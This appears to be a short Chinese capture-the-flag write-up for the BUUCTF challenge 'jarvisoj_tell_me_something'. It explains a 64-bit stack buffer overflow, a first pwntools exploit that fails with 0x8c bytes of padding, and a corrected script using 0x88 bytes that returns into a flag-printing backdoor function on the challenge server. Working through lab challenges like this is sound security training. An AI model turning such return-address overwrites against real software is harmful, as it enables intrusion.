buuctf ----- jarvisoj_tell_me_something
运行程序得
使用64IDA查看程序
可以看到存在溢出漏洞
查看字符串,发现flag.txt
存在后门函数,该函数的含义是输出flag
思路:改变ret addr 为good_game函数的地址。
编写exp
from pwn import*
io = remote("node4.buuoj.cn",29817)
bin_addr = 0x400620
payload = 'a'*0x8c+p64(bin_addr)
io.sendline(payload)
io.interactive()
但是运行失败了
原因是什么呢?
查看main函数的汇编代码发现
原来是main函数没有压入rbp 所以垃圾数据应是0x88而不是0x8c
from pwn import*
io = remote("node4.buuoj.cn",29817)
bin_addr = 0x400620
payload = 'a'*0x88+p64(bin_addr)
io.sendline(payload)
io.interactive()